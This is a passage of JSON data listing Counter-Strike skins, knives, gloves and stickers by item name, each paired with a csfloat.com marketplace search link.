            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20M9%20Bayonet%20%7C%20Gamma%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ StatTrak™ Shadow Daggers | Fade (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Shadow%20Daggers%20%7C%20Fade%20%28Minimal%20Wear%29"
          },
          {
            "label": "Sticker | BIT (Gold) | Boston 2018",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20BIT%20%28Gold%29%20%7C%20Boston%202018"
          },
          {
            "label": "Souvenir AK-47 | Rat Rod (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AK-47%20%7C%20Rat%20Rod%20%28Field-Tested%29"
          },
          {
            "label": "★ Bayonet | Marble Fade (Factory New) | 1st",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Bayonet%20%7C%20Marble%20Fade%20%28Factory%20New%29"
          },
          {
            "label": "★ Bowie Knife | Crimson Web (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Bowie%20Knife%20%7C%20Crimson%20Web%20%28Factory%20New%29"
          },
          {
            "label": "★ Sport Gloves | Pandora's Box (Well-Worn)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Pandora%27s%20Box%20%28Well-Worn%29"
          },
          {
            "label": "★ StatTrak™ Paracord Knife | Crimson Web (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Paracord%20Knife%20%7C%20Crimson%20Web%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Bayonet | Doppler (Factory New) | Black Pearl",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Bayonet%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Karambit | Marble Fade (Factory New) | 3rd",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Marble%20Fade%20%28Factory%20New%29"
          },
          {
            "label": "★ Sport Gloves | Arid (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Arid%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Fade (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Fade%20%28Minimal%20Wear%29"
          },
          {
            "label": "Souvenir AK-47 | The Empress (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AK-47%20%7C%20The%20Empress%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir M4A1-S | Hyper Beast (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20M4A1-S%20%7C%20Hyper%20Beast%20%28Factory%20New%29"
          },
          {
            "label": "★ Sport Gloves | Nocts (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Nocts%20%28Factory%20New%29"
          },
          {
            "label": "★ Stiletto Knife | Case Hardened (Well-Worn) | Blue Gem",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Stiletto%20Knife%20%7C%20Case%20Hardened%20%28Well-Worn%29"
          },
          {
            "label": "★ StatTrak™ Skeleton Knife | Doppler (Minimal Wear) | Ruby",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Skeleton%20Knife%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "StatTrak™ AK-47 | Fire Serpent (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=StatTrak%E2%84%A2%20AK-47%20%7C%20Fire%20Serpent%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Well-Worn) | Phase 6",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Well-Worn%29"
          },
          {
            "label": "Sticker | cobra (Gold, Ranked) | Cologne 2026",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20cobra%20%28Gold%2C%20Ranked%29%20%7C%20Cologne%202026"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Doppler (Minimal Wear) | Phase 3",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Moto Gloves | Spearmint (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Moto%20Gloves%20%7C%20Spearmint%20%28Minimal%20Wear%29"
          },
          {
            "label": "Souvenir Glock-18 | Fade (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20Glock-18%20%7C%20Fade%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Talon Knife | Doppler (Factory New) | Black Pearl",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Talon%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ Butterfly Knife | Doppler (Factory New) | Phase 4",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Talon Knife | Case Hardened (Battle-Scarred) | Blue Gem",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Talon%20Knife%20%7C%20Case%20Hardened%20%28Battle-Scarred%29"
          },
          {
            "label": "Souvenir M4A4 | Poseidon (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20M4A4%20%7C%20Poseidon%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Doppler (Factory New) | Phase 4",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Talon Knife | Doppler (Factory New) | Ruby",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Talon%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ Talon Knife | Doppler (Factory New) | Black Pearl",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Talon%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir CZ75-Auto | Honey Paisley (Battle-Scarred)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20CZ75-Auto%20%7C%20Honey%20Paisley%20%28Battle-Scarred%29"
          },
          {
            "label": "★ Butterfly Knife | Doppler (Minimal Wear) | Phase 4",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Talon Knife | Doppler (Factory New) | Ruby",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Talon%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "Sticker | ShahZaM (Gold) | Boston 2018",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20ShahZaM%20%28Gold%29%20%7C%20Boston%202018"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Doppler (Minimal Wear) | Phase 1",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Doppler (Minimal Wear) | Phase 4",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Survival Knife | Case Hardened (Minimal Wear) | Blue Gem",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Survival%20Knife%20%7C%20Case%20Hardened%20%28Minimal%20Wear%29"
          },
          {
            "label": "Sticker | compLexity Gaming (Holo) | Katowice 2014",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20compLexity%20Gaming%20%28Holo%29%20%7C%20Katowice%202014"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Doppler (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Sport Gloves | Superconductor (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Superconductor%20%28Minimal%20Wear%29"
          },
          {
            "label": "Souvenir AK-47 | Case Hardened (Well-Worn) | Tier 3",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AK-47%20%7C%20Case%20Hardened%20%28Well-Worn%29"
          },
          {
            "label": "AWP | The Prince (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20The%20Prince%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir AWP | The Prince (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AWP%20%7C%20The%20Prince%20%28Minimal%20Wear%29"
          },
          {
            "label": "Souvenir USP-S | Para Green (Battle-Scarred)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20USP-S%20%7C%20Para%20Green%20%28Battle-Scarred%29"
          },
          {
            "label": "StatTrak™ M4A4 | Bullet Rain (Battle-Scarred)",
            "url": "https://csfloat.com/search?market_hash_name=StatTrak%E2%84%A2%20M4A4%20%7C%20Bullet%20Rain%20%28Battle-Scarred%29"
          },
          {
            "label": "Sticker | seang@res (Gold) | Boston 2018",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20seang%40res%20%28Gold%29%20%7C%20Boston%202018"
          },
          {
            "label": "★ StatTrak™ Talon Knife | Night Stripe (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Talon%20Knife%20%7C%20Night%20Stripe%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Karambit | Marble Fade (Factory New) | 2nd",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Marble%20Fade%20%28Factory%20New%29"
          },
          {
            "label": "AWP | Medusa (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Medusa%20%28Minimal%20Wear%29"
          },
          {
            "label": "M4A1-S | Knight (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=M4A1-S%20%7C%20Knight%20%28Factory%20New%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Battle-Scarred) | Phase 3",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Battle-Scarred%29"
          },
          {
            "label": "★ StatTrak™ Bowie Knife | Case Hardened (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Bowie%20Knife%20%7C%20Case%20Hardened%20%28Factory%20New%29"
          },
          {
            "label": "Negev | Mjölnir (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Negev%20%7C%20Mj%C3%B6lnir%20%28Factory%20New%29"
          },
          {
            "label": "★ Talon Knife | Case Hardened (Minimal Wear) | Blue Gem",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Talon%20Knife%20%7C%20Case%20Hardened%20%28Minimal%20Wear%29"
          },
          {
            "label": "Souvenir MAG-7 | Carbon Fiber (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20MAG-7%20%7C%20Carbon%20Fiber%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir M4A1-S | Knight (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20M4A1-S%20%7C%20Knight%20%28Factory%20New%29"
          },
          {
            "label": "★ Talon Knife | Doppler (Minimal Wear) | Black Pearl",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Talon%20Knife%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Butterfly Knife | Doppler (Minimal Wear) | Phase 3",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ StatTrak™ Bayonet | Doppler (Factory New) | Ruby",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Bayonet%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Gamma Doppler (Minimal Wear) | Phase 4",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Gamma%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ StatTrak™ Karambit | Doppler (Minimal Wear) | Phase 2",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "SCAR-20 | Splash Jam (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=SCAR-20%20%7C%20Splash%20Jam%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Karambit | Marble Fade (Factory New) | 4th",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Marble%20Fade%20%28Factory%20New%29"
          },
          {
            "label": "MP9 | Wild Lily (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=MP9%20%7C%20Wild%20Lily%20%28Factory%20New%29"
          },
          {
            "label": "Negev | Mjölnir (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=Negev%20%7C%20Mj%C3%B6lnir%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Sport Gloves | Amphibious (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Amphibious%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Lore (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Lore%20%28Factory%20New%29"
          },
          {
            "label": "★ Karambit | Gamma Doppler (Factory New) | Phase 2",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Karambit%20%7C%20Gamma%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ Talon Knife | Doppler (Minimal Wear) | Ruby",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Talon%20Knife%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ StatTrak™ Karambit | Gamma Doppler (Minimal Wear) | Phase 2",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Gamma%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Karambit | Gamma Doppler (Minimal Wear) | Phase 2",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Karambit%20%7C%20Gamma%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "Sticker | HEN1 (Gold) | Boston 2018",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20HEN1%20%28Gold%29%20%7C%20Boston%202018"
          },
          {
            "label": "★ StatTrak™ Karambit | Gamma Doppler (Factory New) | Phase 2",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Gamma%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ Butterfly Knife | Doppler (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Butterfly Knife | Doppler (Minimal Wear) | Phase 1",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "MP9 | Wild Lily (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=MP9%20%7C%20Wild%20Lily%20%28Minimal%20Wear%29"
          },
          {
            "label": "Souvenir AWP | Medusa (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AWP%20%7C%20Medusa%20%28Field-Tested%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Doppler (Factory New) | Phase 1",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "MP9 | Wild Lily (Well-Worn)",
            "url": "https://csfloat.com/search?market_hash_name=MP9%20%7C%20Wild%20Lily%20%28Well-Worn%29"
          },
          {
            "label": "Sticker | Lekr0 (Gold) | Boston 2018",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20Lekr0%20%28Gold%29%20%7C%20Boston%202018"
          },
          {
            "label": "Sticker | somebody (Gold) | Boston 2018",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20somebody%20%28Gold%29%20%7C%20Boston%202018"
          },
          {
            "label": "★ StatTrak™ Karambit | Marble Fade (Factory New) | 6th",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Marble%20Fade%20%28Factory%20New%29"
          },
          {
            "label": "Negev | Mjölnir (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=Negev%20%7C%20Mj%C3%B6lnir%20%28Field-Tested%29"
          },
          {
            "label": "★ Skeleton Knife | Doppler (Factory New) | Black Pearl",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Skeleton%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "Sticker | tarik (Gold) | London 2018",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20tarik%20%28Gold%29%20%7C%20London%202018"
          },
          {
            "label": "★ StatTrak™ Flip Knife | Doppler (Minimal Wear) | Ruby",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Flip%20Knife%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "Souvenir M4A1-S | Knight (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20M4A1-S%20%7C%20Knight%20%28Minimal%20Wear%29"
          },
          {
            "label": "Souvenir AK-47 | Fire Serpent (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AK-47%20%7C%20Fire%20Serpent%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Skeleton Knife | Doppler (Factory New) | Black Pearl",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Skeleton%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ Skeleton Knife | Doppler (Minimal Wear) | Ruby",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Skeleton%20Knife%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Talon Knife | Crimson Web (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Talon%20Knife%20%7C%20Crimson%20Web%20%28Factory%20New%29"
          },
          {
            "label": "★ Driver Gloves | Crimson Weave (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Driver%20Gloves%20%7C%20Crimson%20Weave%20%28Factory%20New%29"
          },
          {
            "label": "★ Karambit | Marble Fade (Minimal Wear) | 6th",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Karambit%20%7C%20Marble%20Fade%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Battle-Scarred) | Phase 5",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Battle-Scarred%29"
          },
          {
            "label": "★ Skeleton Knife | Doppler (Factory New) | Ruby",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Skeleton%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ Karambit | Marble Fade (Factory New) | 2nd",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Karambit%20%7C%20Marble%20Fade%20%28Factory%20New%29"
          },
          {
            "label": "AK-47 | Fire Serpent (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=AK-47%20%7C%20Fire%20Serpent%20%28Factory%20New%29"
          },
          {
            "label": "★ Karambit | Marble Fade (Factory New) | 3rd",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Karambit%20%7C%20Marble%20Fade%20%28Factory%20New%29"
          },
          {
            "label": "★ Butterfly Knife | Gamma Doppler (Factory New) | Phase 2",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Gamma%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ Butterfly Knife | Fade (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Fade%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Blue Steel (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Blue%20Steel%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir M4A1-S | Welcome to the Jungle (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20M4A1-S%20%7C%20Welcome%20to%20the%20Jungle%20%28Factory%20New%29"
          },
          {
            "label": "★ Butterfly Knife | Doppler (Factory New) | Phase 1",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ Karambit | Gamma Doppler (Minimal Wear) | Phase 1",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Karambit%20%7C%20Gamma%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Gamma Doppler (Minimal Wear) | Phase 3",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Gamma%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Bayonet | Gamma Doppler (Minimal Wear) | Emerald",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Bayonet%20%7C%20Gamma%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Battle-Scarred) | Phase 4",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Battle-Scarred%29"
          },
          {
            "label": "★ StatTrak™ Karambit | Gamma Doppler (Minimal Wear) | Phase 1",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Gamma%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ StatTrak™ Karambit | Gamma Doppler (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Gamma%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ StatTrak™ Flip Knife | Doppler (Minimal Wear) | Sapphire",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Flip%20Knife%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Butterfly Knife | Gamma Doppler (Minimal Wear) | Phase 2",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Gamma%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "Souvenir Dual Berettas | Duelist (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20Dual%20Berettas%20%7C%20Duelist%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir M4A4 | Falak (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20M4A4%20%7C%20Falak%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Gamma Doppler (Minimal Wear) | Phase 2",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Gamma%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Driver Gloves | King Snake (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Driver%20Gloves%20%7C%20King%20Snake%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir Tec-9 | Orange Murano (Battle-Scarred)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20Tec-9%20%7C%20Orange%20Murano%20%28Battle-Scarred%29"
          },
          {
            "label": "★ Butterfly Knife | Fade (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Fade%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Gamma Doppler (Factory New) | Phase 2",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Gamma%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Skeleton Knife | Doppler (Factory New) | Ruby",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Skeleton%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Fade (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Fade%20%28Factory%20New%29"
          },
          {
            "label": "★ Sport Gloves | Hedge Maze (Battle-Scarred)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Hedge%20Maze%20%28Battle-Scarred%29"
          },
          {
            "label": "★ Bayonet | Crimson Web (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Bayonet%20%7C%20Crimson%20Web%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Doppler (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Doppler (Factory New) | Phase 3",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir AK-47 | Gold Arabesque (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AK-47%20%7C%20Gold%20Arabesque%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir Desert Eagle | Heat Treated (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20Desert%20Eagle%20%7C%20Heat%20Treated%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir USP-S | Printstream (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20USP-S%20%7C%20Printstream%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Bowie Knife | Doppler (Factory New) | Black Pearl",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Bowie%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Gamma Doppler (Minimal Wear) | Phase 1",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Gamma%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ StatTrak™ Talon Knife | Doppler (Minimal Wear) | Sapphire",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Talon%20Knife%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ StatTrak™ Huntsman Knife | Freehand (Battle-Scarred)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Huntsman%20Knife%20%7C%20Freehand%20%28Battle-Scarred%29"
          },
          {
            "label": "Sticker | sdy (Gold) | London 2018",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20sdy%20%28Gold%29%20%7C%20London%202018"
          },
          {
            "label": "★ Skeleton Knife | Doppler (Minimal Wear) | Sapphire",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Skeleton%20Knife%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
